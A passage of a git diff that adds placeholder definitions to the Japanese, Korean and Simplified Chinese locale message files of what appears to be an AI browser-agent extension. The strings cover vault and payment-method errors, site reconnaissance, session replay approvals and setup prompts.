"$1" + } + } }, "copy_6ddb0ed270": { "message": "支払い方法のロックを解除しました" }, "copy_c75e2cc897": { - "message": "支払い方法のロック解除エラー: $ERROR$" + "message": "支払い方法のロック解除エラー: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_b69b2dc301": { "message": "支払い方法をロックしました" @@ -2711,7 +2894,12 @@ "message": "支払い方法をロックできませんでした" }, "copy_af2ea4b480": { - "message": "支払い方法のロックエラー: $ERROR$" + "message": "支払い方法のロックエラー: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_38c2cc72e3": { "message": "数字の PIN を入力してください" @@ -2735,7 +2923,12 @@ "message": "支払い方法を保存しました" }, "copy_58adb591be": { - "message": "支払い方法の保存エラー: $ERROR$" + "message": "支払い方法の保存エラー: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_f03b63954b": { "message": "この支払い方法を削除しますか?この操作は元に戻せません。" @@ -2744,7 +2937,12 @@ "message": "支払い方法を削除しました" }, "copy_2a0de92af3": { - "message": "支払い方法の削除エラー: $ERROR$" + "message": "支払い方法の削除エラー: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_4f15f65f6e": { "message": "探索する URL を入力してください" @@ -2753,13 +2951,23 @@ "message": "URL の形式が無効です" }, "copy_a6215dba6d": { - "message": "エクスプローラーを開始できませんでした: $ERROR$" + "message": "エクスプローラーを開始できませんでした: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_284429f90b": { "message": "すべてのクローラーを停止しました" }, "copy_aee9e10eae": { - "message": "$DOMAIN$ のクロールに失敗しました" + "message": "$DOMAIN$ のクロールに失敗しました", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_d604ffed30": { "message": "調査データが見つかりません" @@ -2792,22 +3000,58 @@ "message": "AI でサイトマップを精緻化しています..." }, "copy_00834dcdc3": { - "message": "$DOMAIN$ のサイトマップ: $PAGES$ ページ、$FORMS$ フォーム(AI で強化)" + "message": "$DOMAIN$ のサイトマップ: $PAGES$ ページ、$FORMS$ フォーム(AI で強化)", + "placeholders": { + "domain": { + "content": "$1" + }, + "pages": { + "content": "$2" + }, + "forms": { + "content": "$3" + } + } }, "copy_a249e56325": { - "message": "$DOMAIN$ のサイトマップを保存して精緻化しました" + "message": "$DOMAIN$ のサイトマップを保存して精緻化しました", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_237923127b": { - "message": "$DOMAIN$ のサイトマップを保存しました(精緻化はデータを返しませんでした)" + "message": "$DOMAIN$ のサイトマップを保存しました(精緻化はデータを返しませんでした)", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_35d9e0c46c": { - "message": "サイトマップを保存しました(AI の精緻化に失敗: $ERROR$)" + "message": "サイトマップを保存しました(AI の精緻化に失敗: $ERROR$)", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_c8c83ca919": { - "message": "$DOMAIN$ のサイトマップをメモリに保存しました" + "message": "$DOMAIN$ のサイトマップをメモリに保存しました", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_c32ea6d22f": { - "message": "メモリへの保存に失敗しました: $ERROR$" + "message": "メモリへの保存に失敗しました: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_963ba004ea": { "message": "すべての調査結果を削除しますか?この操作は元に戻せません。" @@ -2828,7 +3072,12 @@ "message": "ハッシュキーを生成できませんでした" }, "copy_52b3b70484": { - "message": "サーバーに接続できません: $ERROR$" + "message": "サーバーに接続できません: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_cbdbc53db1": { "message": "コピーするハッシュキーがありません" @@ -2858,10 +3107,20 @@ "message": "ペアリング応答の形式が正しくありません" }, "copy_30fa7c27e5": { - "message": "ペアリングコードを生成できませんでした: $ERROR$" + "message": "ペアリングコードを生成できませんでした: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_acce51c1d3": { - "message": "ハッシュキーを登録できませんでした: $ERROR$" + "message": "ハッシュキーを登録できませんでした: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_cb4c956be2": { "message": "このメモリを削除しますか?" @@ -2891,7 +3150,12 @@ "message": "サイトマップを精緻化しました" }, "copy_a266f3a3ce": { - "message": "AI の精緻化に失敗しました: $ERROR$" + "message": "AI の精緻化に失敗しました: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_0b0bdbabab": { "message": "すべてのメモリを削除しますか?この操作は元に戻せません。" @@ -2900,7 +3164,12 @@ "message": "すべてのメモリを消去しました" }, "copy_e158cd5a5e": { - "message": "メモリを消去できませんでした: $ERROR$" + "message": "メモリを消去できませんでした: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_21ce69d58b": { "message": "リモート制御が有効です" diff --git a/extension/_locales/ko/messages.json b/extension/_locales/ko/messages.json index 0a22de5b7..817615bb5 100644 --- a/extension/_locales/ko/messages.json +++ b/extension/_locales/ko/messages.json @@ -2171,10 +2171,20 @@ "message": "파일을 편집하거나, 셸 명령을 실행하거나, 임의의 URL을 가져올 수 없습니다." }, "copy_65974683e8": { - "message": "이후 실행에서 $NAME$ 신뢰" + "message": "이후 실행에서 $NAME$ 신뢰", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_a9780e01fc": { - "message": "이 브라우저에서 이후 $NAME$ 실행의 확인을 끕니다." + "message": "이 브라우저에서 이후 $NAME$ 실행의 확인을 끕니다.", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_88cad98751": { "message": "확인 기본 설정을 저장할 수 없습니다. 다시 시도하거나 신뢰 없이 계속하세요." @@ -2183,7 +2193,12 @@ "message": "에이전트를 시작할 수 없습니다. 권한을 확인한 뒤 다시 시도하세요." }, "copy_02df469915": { - "message": "$NAME$ 허용 및 시작" + "message": "$NAME$ 허용 및 시작", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_63b90cc26c": { "message": "네이티브 도우미가 다른 확장 프로그램과 페어링되어 있습니다" @@ -2204,7 +2219,12 @@ "message": "선택한 공급자는 브라우저 탭을 제어하는 에이전트를 지원하지 않습니다. 지원되는 에이전트 공급자를 선택한 뒤 이 메시지를 다시 시도하세요." }, "copy_664ba782e6": { - "message": "로컬에서 $NAME$에 로그인한 뒤 이 메시지를 다시 시도하세요." + "message": "로컬에서 $NAME$에 로그인한 뒤 이 메시지를 다시 시도하세요.", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_1c5510dd75": { "message": "연결 테스트는 위임 실행을 시작하지 않으므로 계속 성공할 수 있습니다. 메시지를 다시 시도하거나 공급자 설정을 검토하세요." @@ -2246,7 +2266,12 @@ "message": "FSB 네이티브 도우미를 설치하거나 업데이트한 뒤 다시 시도하세요. FSB가 이 브라우저를 자동으로 연결합니다." }, "copy_87db7a3927": { - "message": "FSB가 이 탭을 $NAME$에 되돌리지 못해 실행이 끝났고 탭은 계속 사용자 제어에 있습니다. 준비되면 새 작업을 시작하세요." + "message": "FSB가 이 탭을 $NAME$에 되돌리지 못해 실행이 끝났고 탭은 계속 사용자 제어에 있습니다. 준비되면 새 작업을 시작하세요.", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_d1708202db": { "message": "메시지 다시 시도" @@ -2270,19 +2295,39 @@ "message": "다른 작업을 시작하기 전에 원래 탭과 대화에서 보류 중인 에이전트 정리를 마치세요. 메시지는 유지되었습니다." }, "copy_b3715a6900": { - "message": "FSB가 이 탭을 $NAME$에 되돌리지 못해 실행이 끝났고 탭은 계속 사용자 제어에 있습니다." + "message": "FSB가 이 탭을 $NAME$에 되돌리지 못해 실행이 끝났고 탭은 계속 사용자 제어에 있습니다.", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_47220517c7": { "message": "FSB 로컬 도우미가 설치되어 있지 않습니다. 실행: npx -y fsb-mcp-server@latest install --native-host" }, "copy_d0b5d103f7": { - "message": "$DOMAIN$에서 정찰을 시작하는 중..." + "message": "$DOMAIN$에서 정찰을 시작하는 중...", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_7654da628e": { - "message": "정찰을 시작하지 못했습니다: $ERROR$" + "message": "정찰을 시작하지 못했습니다: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_ca79bcd4d7": { - "message": "정찰이 완료되었습니다. $DOMAIN$의 사이트 맵을 저장했습니다." + "message": "정찰이 완료되었습니다. $DOMAIN$의 사이트 맵을 저장했습니다.", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_0f654a723b": { "message": "자동화는 완료되었지만 요약이 제공되지 않았습니다. 작업이 예상대로 끝나지 않았다면 다시 시도하세요." @@ -2324,22 +2369,47 @@ "message": "재생 단계를 건너뛰는 중..." }, "copy_2d7848007e": { - "message": "재생 결정을 적용할 수 없습니다: $ERROR$" + "message": "재생 결정을 적용할 수 없습니다: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_0d3db7357d": { "message": "차단됨 · 가려진 입력" }, "copy_4916a64c38": { - "message": "MCP 클라이언트가 이 재생을 새 탭 $COUNT$개에서 요청했습니다." + "message": "MCP 클라이언트가 이 재생을 새 탭 $COUNT$개에서 요청했습니다.", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_c15b9f2acd": { - "message": "MCP 클라이언트가 이 재생을 새 탭 $COUNT$개에서 요청했습니다." + "message": "MCP 클라이언트가 이 재생을 새 탭 $COUNT$개에서 요청했습니다.", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_552d4905b4": { - "message": "한 번의 승인은 검증된 매니페스트 자체만 다루며, 영향이 큰 단계 $COUNT$개를 포함합니다." + "message": "한 번의 승인은 검증된 매니페스트 자체만 다루며, 영향이 큰 단계 $COUNT$개를 포함합니다.", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_4c946b4834": { - "message": "한 번의 승인은 검증된 매니페스트 자체만 다루며, 영향이 큰 단계 $COUNT$개를 포함합니다." + "message": "한 번의 승인은 검증된 매니페스트 자체만 다루며, 영향이 큰 단계 $COUNT$개를 포함합니다.", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_9240c9c130": { "message": "한 번의 승인은 검증된 매니페스트 자체만 다룹니다." @@ -2351,28 +2421,61 @@ "message": "재생을 시작하지 못했습니다" }, "copy_1a0ef83852": { - "message": "요청한 재생을 시작하지 못했습니다: $ERROR$" + "message": "요청한 재생을 시작하지 못했습니다: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_98db9dc8c5": { "message": "재생 취소에 실패했습니다" }, "copy_4ed0e5ecba": { - "message": "재생 요청을 취소할 수 없습니다: $ERROR$" + "message": "재생 요청을 취소할 수 없습니다: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_0d9f4051eb": { "message": "재생 검증에 실패했습니다" }, "copy_fc1f569fa7": { - "message": "이 기록은 검사 전용입니다. 기록된 호출 $TOTAL$개 중 최근 $LATEST$개만 사용할 수 있습니다. 더 이전의 브라우저 상태는 안전하게 재구성할 수 없습니다." + "message": "이 기록은 검사 전용입니다. 기록된 호출 $TOTAL$개 중 최근 $LATEST$개만 사용할 수 있습니다. 더 이전의 브라우저 상태는 안전하게 재구성할 수 없습니다.", + "placeholders": { + "latest": { + "content": "$1" + }, + "total": { + "content": "$2" + } + } }, "copy_a2f62124e7": { - "message": "검증된 타임라인을 새 탭 $COUNT$개에서 재생할까요?" + "message": "검증된 타임라인을 새 탭 $COUNT$개에서 재생할까요?", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_4c55f6bc6e": { - "message": "검증된 타임라인을 새 탭 $COUNT$개에서 재생할까요?" + "message": "검증된 타임라인을 새 탭 $COUNT$개에서 재생할까요?", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_dea4fcd3a0": { - "message": "이 한 번의 승인은 서명된 매니페스트 자체를 다룹니다: $DETAIL$." + "message": "이 한 번의 승인은 서명된 매니페스트 자체를 다룹니다: $DETAIL$.", + "placeholders": { + "detail": { + "content": "$1" + } + } }, "copy_82e80a0531": { "message": "타임라인에는 읽기와 탐색 단계만 있습니다." @@ -2384,7 +2487,12 @@ "message": "재생을 시작하지 못했습니다." }, "copy_816797656b": { - "message": "재생을 시작하지 못했습니다: $ERROR$" + "message": "재생을 시작하지 못했습니다: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_6a7fdeaea6": { "message": "세션 기록을 삭제하지 못했습니다" @@ -2396,7 +2504,12 @@ "message": "캡처가 검증을 기다리고 있습니다" }, "copy_712090559d": { - "message": "세션을 불러오지 못했습니다: $ERROR$" + "message": "세션을 불러오지 못했습니다: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_c249c35164": { "message": "모든 세션 기록을 삭제할까요? 이 작업은 취소할 수 없습니다." @@ -2408,7 +2521,12 @@ "message": "작업이 부분적으로 완료되었습니다" }, "copy_2786eaaa0e": { - "message": "권장값으로 재설정 ($COUNT$)" + "message": "권장값으로 재설정 ($COUNT$)", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_03cea39622": { "message": "아래에 모델 이름을 입력하세요" @@ -2525,7 +2643,12 @@ "message": "API 키 없음" }, "copy_ec6c5d7132": { - "message": "시작하려면 $NAME$ API 키를 구성하세요" + "message": "시작하려면 $NAME$ API 키를 구성하세요", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_59b831ea1c": { "message": "API 키가 필요합니다" @@ -2543,13 +2666,23 @@ "message": "설치되었고 호환됩니다: Grok Build 1.0.4. 격리, ACP, 캐시된 OAuth 검사가 프롬프트를 보내지 않고 통과했습니다." }, "copy_aab517a207": { - "message": "호환성 검사 실패: $ERROR$" + "message": "호환성 검사 실패: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_b33e732cc1": { "message": "로그를 내보냈습니다" }, "copy_11eb704622": { - "message": "$ORIGIN$의 동의 모드" + "message": "$ORIGIN$의 동의 모드", + "placeholders": { + "origin": { + "content": "$1" + } + } }, "copy_7655b9531e": { "message": "감사 로그를 사용할 수 없습니다" @@ -2603,7 +2736,12 @@ "message": "세션 이벤트를 불러오지 못했습니다" }, "copy_952bb703c9": { - "message": "세션 이벤트를 더 불러오지 못했습니다: $ERROR$" + "message": "세션 이벤트를 더 불러오지 못했습니다: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_ce10cc25bb": { "message": "선택된 세션이 없습니다" @@ -2657,7 +2795,12 @@ "message": "세션을 내보내지 못했습니다" }, "copy_30784a43b1": { - "message": "금고 잠금 해제 오류: $ERROR$" + "message": "금고 잠금 해제 오류: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_b621934f80": { "message": "PIN이 일치하지 않습니다" @@ -2669,13 +2812,23 @@ "message": "금고를 만들지 못했습니다" }, "copy_be90a4301c": { - "message": "금고 만들기 오류: $ERROR$" + "message": "금고 만들기 오류: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_344e10f557": { "message": "PIN을 입력하세요" }, "copy_d8689df745": { - "message": "금고 잠금 오류: $ERROR$" + "message": "금고 잠금 오류: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_025f3d105c": { "message": "도메인은 필수입니다" @@ -2684,25 +2837,55 @@ "message": "사용자 이름 또는 비밀번호가 필요합니다" }, "copy_9afaa0cd06": { - "message": "저장하지 못했습니다: $ERROR$" + "message": "저장하지 못했습니다: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_161d5eb702": { - "message": "자격 증명 저장 오류: $ERROR$" + "message": "자격 증명 저장 오류: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_2be1559933": { - "message": "\"$DOMAIN$\"의 저장된 자격 증명을 삭제할까요? 이 작업은 취소할 수 없습니다." + "message": "\"$DOMAIN$\"의 저장된 자격 증명을 삭제할까요? 이 작업은 취소할 수 없습니다.", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_742e696153": { - "message": "삭제하지 못했습니다: $ERROR$" + "message": "삭제하지 못했습니다: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_f91e85ab50": { - "message": "자격 증명 삭제 오류: $ERROR$" + "message": "자격 증명 삭제 오류: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_6ddb0ed270": { "message": "결제 수단 잠금을 해제했습니다" }, "copy_c75e2cc897": { - "message": "결제 수단 잠금 해제 오류: $ERROR$" + "message": "결제 수단 잠금 해제 오류: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_b69b2dc301": { "message": "결제 수단을 잠갔습니다" @@ -2711,7 +2894,12 @@ "message": "결제 수단을 잠그지 못했습니다" }, "copy_af2ea4b480": { - "message": "결제 수단 잠금 오류: $ERROR$" + "message": "결제 수단 잠금 오류: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_38c2cc72e3": { "message": "숫자 PIN을 입력하세요" @@ -2735,7 +2923,12 @@ "message": "결제 수단을 저장했습니다" }, "copy_58adb591be": { - "message": "결제 수단 저장 오류: $ERROR$" + "message": "결제 수단 저장 오류: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_f03b63954b": { "message": "이 결제 수단을 삭제할까요? 이 작업은 취소할 수 없습니다." @@ -2744,7 +2937,12 @@ "message": "결제 수단을 삭제했습니다" }, "copy_2a0de92af3": { - "message": "결제 수단 삭제 오류: $ERROR$" + "message": "결제 수단 삭제 오류: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_4f15f65f6e": { "message": "탐색할 URL을 입력하세요" @@ -2753,13 +2951,23 @@ "message": "URL 형식이 올바르지 않습니다" }, "copy_a6215dba6d": { - "message": "탐색기를 시작하지 못했습니다: $ERROR$" + "message": "탐색기를 시작하지 못했습니다: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_284429f90b": { "message": "모든 크롤러를 중지했습니다" }, "copy_aee9e10eae": { - "message": "$DOMAIN$ 크롤링에 실패했습니다" + "message": "$DOMAIN$ 크롤링에 실패했습니다", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_d604ffed30": { "message": "조사 데이터를 찾을 수 없습니다" @@ -2792,22 +3000,58 @@ "message": "AI로 사이트 맵을 다듬는 중..." }, "copy_00834dcdc3": { - "message": "$DOMAIN$ 사이트 맵: 페이지 $PAGES$개, 양식 $FORMS$개(AI 향상)" + "message": "$DOMAIN$ 사이트 맵: 페이지 $PAGES$개, 양식 $FORMS$개(AI 향상)", + "placeholders": { + "domain": { + "content": "$1" + }, + "pages": { + "content": "$2" + }, + "forms": { + "content": "$3" + } + } }, "copy_a249e56325": { - "message": "$DOMAIN$의 사이트 맵을 저장하고 다듬었습니다" + "message": "$DOMAIN$의 사이트 맵을 저장하고 다듬었습니다", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_237923127b": { - "message": "$DOMAIN$의 사이트 맵을 저장했습니다(다듬기에서 데이터가 반환되지 않음)" + "message": "$DOMAIN$의 사이트 맵을 저장했습니다(다듬기에서 데이터가 반환되지 않음)", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_35d9e0c46c": { - "message": "사이트 맵을 저장했습니다(AI 다듬기 실패: $ERROR$)" + "message": "사이트 맵을 저장했습니다(AI 다듬기 실패: $ERROR$)", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_c8c83ca919": { - "message": "$DOMAIN$의 사이트 맵을 메모리에 저장했습니다" + "message": "$DOMAIN$의 사이트 맵을 메모리에 저장했습니다", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_c32ea6d22f": { - "message": "메모리에 저장하지 못했습니다: $ERROR$" + "message": "메모리에 저장하지 못했습니다: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_963ba004ea": { "message": "모든 조사 결과를 삭제할까요? 이 작업은 취소할 수 없습니다." @@ -2828,7 +3072,12 @@ "message": "해시 키를 생성하지 못했습니다" }, "copy_52b3b70484": { - "message": "서버에 연결할 수 없습니다: $ERROR$" + "message": "서버에 연결할 수 없습니다: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_cbdbc53db1": { "message": "복사할 해시 키가 없습니다" @@ -2858,10 +3107,20 @@ "message": "페어링 응답 형식이 올바르지 않습니다" }, "copy_30fa7c27e5": { - "message": "페어링 코드를 생성할 수 없습니다: $ERROR$" + "message": "페어링 코드를 생성할 수 없습니다: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_acce51c1d3": { - "message": "해시 키를 등록할 수 없습니다: $ERROR$" + "message": "해시 키를 등록할 수 없습니다: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_cb4c956be2": { "message": "이 메모리를 삭제할까요?" @@ -2891,7 +3150,12 @@ "message": "사이트 맵을 다듬었습니다" }, "copy_a266f3a3ce": { - "message": "AI 다듬기 실패: $ERROR$" + "message": "AI 다듬기 실패: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_0b0bdbabab": { "message": "모든 메모리를 삭제할까요? 이 작업은 취소할 수 없습니다." @@ -2900,7 +3164,12 @@ "message": "모든 메모리를 지웠습니다" }, "copy_e158cd5a5e": { - "message": "메모리를 지우지 못했습니다: $ERROR$" + "message": "메모리를 지우지 못했습니다: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_21ce69d58b": { "message": "원격 제어가 활성입니다" diff --git a/extension/_locales/zh_CN/messages.json b/extension/_locales/zh_CN/messages.json index 006566596..a11e53f27 100644 --- a/extension/_locales/zh_CN/messages.json +++ b/extension/_locales/zh_CN/messages.json @@ -2171,10 +2171,20 @@ "message": "它不能编辑文件、运行 shell 命令或获取任意 URL。" }, "copy_65974683e8": { - "message": "在以后的运行中信任 $NAME$" + "message": "在以后的运行中信任 $NAME$", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_a9780e01fc": { - "message": "这会关闭此浏览器上以后 $NAME$ 运行的确认。" + "message": "这会关闭此浏览器上以后 $NAME$ 运行的确认。", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_88cad98751": { "message": "无法保存确认偏好。请重试,或不建立信任并继续。" @@ -2183,7 +2193,12 @@ "message": "无法启动代理。请检查权限后重试。" }, "copy_02df469915": { - "message": "允许并启动 $NAME$" + "message": "允许并启动 $NAME$", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_63b90cc26c": { "message": "本机助手已与另一个扩展配对" @@ -2204,7 +2219,12 @@ "message": "所选提供方不支持控制浏览器标签页的代理。请选择支持的代理提供方,然后重试此消息。" }, "copy_664ba782e6": { - "message": "请在本地登录 $NAME$,然后重试此消息。" + "message": "请在本地登录 $NAME$,然后重试此消息。", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_1c5510dd75": { "message": "“测试连接”仍可能成功,因为它不会启动委派运行。请重试消息或检查提供方设置。" @@ -2246,7 +2266,12 @@ "message": "请安装或更新 FSB 本机助手,然后重试。FSB 会自动连接此浏览器。" }, "copy_87db7a3927": { - "message": "FSB 无法将此标签页交还给 $NAME$,因此运行已结束,标签页仍由你控制。准备好后请开始新任务。" + "message": "FSB 无法将此标签页交还给 $NAME$,因此运行已结束,标签页仍由你控制。准备好后请开始新任务。", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_d1708202db": { "message": "重试消息" @@ -2270,19 +2295,39 @@ "message": "开始另一项任务之前,请在原来的标签页和对话中完成待处理的代理清理。你的消息已保留。" }, "copy_b3715a6900": { - "message": "FSB 无法将此标签页交还给 $NAME$,因此运行已结束,标签页仍由你控制。" + "message": "FSB 无法将此标签页交还给 $NAME$,因此运行已结束,标签页仍由你控制。", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_47220517c7": { "message": "未安装 FSB 的本地助手。请运行:npx -y fsb-mcp-server@latest install --native-host" }, "copy_d0b5d103f7": { - "message": "正在对 $DOMAIN$ 开始侦察..." + "message": "正在对 $DOMAIN$ 开始侦察...", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_7654da628e": { - "message": "侦察未能开始:$ERROR$" + "message": "侦察未能开始:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_ca79bcd4d7": { - "message": "侦察完成!已保存 $DOMAIN$ 的站点地图。" + "message": "侦察完成!已保存 $DOMAIN$ 的站点地图。", + "placeholders": { + "domain": { + "content": "$1" + } + } }, "copy_0f654a723b": { "message": "自动化已完成,但没有提供摘要。如果任务未按预期完成,请重试。" @@ -2324,22 +2369,47 @@ "message": "正在跳过重放步骤..." }, "copy_2d7848007e": { - "message": "无法应用重放决定:$ERROR$" + "message": "无法应用重放决定:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_0d3db7357d": { "message": "已阻止 · 已隐去的输入" }, "copy_4916a64c38": { - "message": "MCP 客户端请求在 $COUNT$ 个新标签页中重放。" + "message": "MCP 客户端请求在 $COUNT$ 个新标签页中重放。", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_c15b9f2acd": { - "message": "MCP 客户端请求在 $COUNT$ 个新标签页中重放。" + "message": "MCP 客户端请求在 $COUNT$ 个新标签页中重放。", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_552d4905b4": { - "message": "一次批准只覆盖经核实的清单本身,其中包括 $COUNT$ 个高影响步骤。" + "message": "一次批准只覆盖经核实的清单本身,其中包括 $COUNT$ 个高影响步骤。", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_4c946b4834": { - "message": "一次批准只覆盖经核实的清单本身,其中包括 $COUNT$ 个高影响步骤。" + "message": "一次批准只覆盖经核实的清单本身,其中包括 $COUNT$ 个高影响步骤。", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_9240c9c130": { "message": "一次批准只覆盖经核实的清单本身。" @@ -2351,28 +2421,61 @@ "message": "无法开始重放" }, "copy_1a0ef83852": { - "message": "无法开始所请求的重放:$ERROR$" + "message": "无法开始所请求的重放:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_98db9dc8c5": { "message": "取消重放失败" }, "copy_4ed0e5ecba": { - "message": "无法取消重放请求:$ERROR$" + "message": "无法取消重放请求:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_0d9f4051eb": { "message": "重放验证失败" }, "copy_fc1f569fa7": { - "message": "此记录仅可检查,因为 $TOTAL$ 次已记录调用中只有最近的 $LATEST$ 次可用。更早的浏览器状态无法安全重建。" + "message": "此记录仅可检查,因为 $TOTAL$ 次已记录调用中只有最近的 $LATEST$ 次可用。更早的浏览器状态无法安全重建。", + "placeholders": { + "latest": { + "content": "$1" + }, + "total": { + "content": "$2" + } + } }, "copy_a2f62124e7": { - "message": "要在 $COUNT$ 个新标签页中重放此已核实的时间线吗?" + "message": "要在 $COUNT$ 个新标签页中重放此已核实的时间线吗?", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_4c55f6bc6e": { - "message": "要在 $COUNT$ 个新标签页中重放此已核实的时间线吗?" + "message": "要在 $COUNT$ 个新标签页中重放此已核实的时间线吗?", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_dea4fcd3a0": { - "message": "这一次批准只覆盖已签名的清单本身:$DETAIL$。" + "message": "这一次批准只覆盖已签名的清单本身:$DETAIL$。", + "placeholders": { + "detail": { + "content": "$1" + } + } }, "copy_82e80a0531": { "message": "时间线只包含读取和导航步骤。" @@ -2384,7 +2487,12 @@ "message": "无法开始重放。" }, "copy_816797656b": { - "message": "无法开始重放:$ERROR$" + "message": "无法开始重放:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_6a7fdeaea6": { "message": "无法删除会话历史" @@ -2396,7 +2504,12 @@ "message": "捕获正在等待验证" }, "copy_712090559d": { - "message": "无法加载会话:$ERROR$" + "message": "无法加载会话:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_c249c35164": { "message": "删除全部会话历史?此操作无法撤销。" @@ -2408,7 +2521,12 @@ "message": "任务部分完成" }, "copy_2786eaaa0e": { - "message": "重置为建议值 ($COUNT$)" + "message": "重置为建议值 ($COUNT$)", + "placeholders": { + "count": { + "content": "$1" + } + } }, "copy_03cea39622": { "message": "在下方输入模型名称" @@ -2525,7 +2643,12 @@ "message": "没有 API 密钥" }, "copy_ec6c5d7132": { - "message": "配置你的 $NAME$ API 密钥以开始使用" + "message": "配置你的 $NAME$ API 密钥以开始使用", + "placeholders": { + "name": { + "content": "$1" + } + } }, "copy_59b831ea1c": { "message": "需要 API 密钥" @@ -2543,13 +2666,23 @@ "message": "已安装且兼容:Grok Build 1.0.4。隔离、ACP 和缓存的 OAuth 检查已通过,且未发送提示。" }, "copy_aab517a207": { - "message": "兼容性检查失败:$ERROR$" + "message": "兼容性检查失败:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_b33e732cc1": { "message": "日志已导出" }, "copy_11eb704622": { - "message": "$ORIGIN$ 的同意模式" + "message": "$ORIGIN$ 的同意模式", + "placeholders": { + "origin": { + "content": "$1" + } + } }, "copy_7655b9531e": { "message": "审计日志不可用" @@ -2603,7 +2736,12 @@ "message": "无法加载会话事件" }, "copy_952bb703c9": { - "message": "无法加载更多会话事件:$ERROR$" + "message": "无法加载更多会话事件:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } }, "copy_ce10cc25bb": { "message": "未选择会话" @@ -2657,7 +2795,12 @@ "message": "无法导出会话" }, "copy_30784a43b1": { - "message": "解锁保险库出错:$ERROR$" + "message": 